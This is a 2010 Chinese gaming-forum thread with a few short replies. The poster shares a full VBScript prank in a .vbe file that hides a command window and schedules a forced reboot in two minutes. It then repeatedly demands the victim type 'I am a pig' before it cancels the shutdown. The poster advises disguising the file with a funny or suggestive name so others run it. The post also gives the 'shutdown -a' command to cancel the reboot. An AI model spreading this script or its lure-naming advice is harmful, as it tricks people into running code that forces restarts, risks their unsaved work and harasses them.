一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
No.277668
👦 明焕
  

自动重启小程序,希望我不是第二个啊

中华游戏网 cnyouw写于:中华游戏网-CNYOUW 👦会员:明焕 🕘时间:2010-11-10 07:35 👀围观:18821人 💬回复:4
🔔 管理提醒: 本帖被 cnyouw 从 电脑技术交流 移动到本区(2013-03-03)
⚠ 提醒:该帖发布已超过3年,如有资源可能已失效,谨慎下载以免浪费积分。反馈请前往站务版块
给大家分享一个会导致电脑自动重启的小程序 ,但是前提是你要双击它尧格式是vbe滴,嘿嘿。。。
我给他起的名字是“绝对搞笑.vbe”哈哈 屡试不爽啊,也可以起个暧昧点的名字尧,浩浩 ,成功率可能更高的说
一下是程序的原貌(ps:但愿我不是第二个发这个小程序的人的说

 

 on error resume next
 dim WSHshellA
 set WSHshellA = wscript.createobject("wscript.shell")
 WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪,不说我是猪就两分钟关你机,不信,试试···"" ",0 ,true 
 dim a
 do while(a <> "我是猪")
 a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
 msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
 loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么吓人"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾。"



相信有学过语言的都可以看懂的吧,哈哈。
如果你在试验中一不小心失手“倒计时了自己的电脑”, 但是又不想说那三个字 ,你可以打开dos命令,然后输入“shutdown -a”也就是shutdown空格杠a
 ,再有问题可以给我评分,然后 ,我看见了就帮你解答啊


最后,献上小歌一首啊中华游戏网 cnyouw.cn中华游戏网 cnyouw
No.277668
👦 明焕
  
果然,悲剧了
SIGNATURE
No.169404
👦 林夕丶
  
看看是什么
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
No.105131
👦 白々哉
  
SIGNATURE
快速回复
验证问题:
我们网站的中文名是什么? 正确答案:

Ctrl + Enter 快速发布

🤪为防止个别捣乱会员恶意灌水
注册会员发帖量达到 20
即可解锁快捷表情发送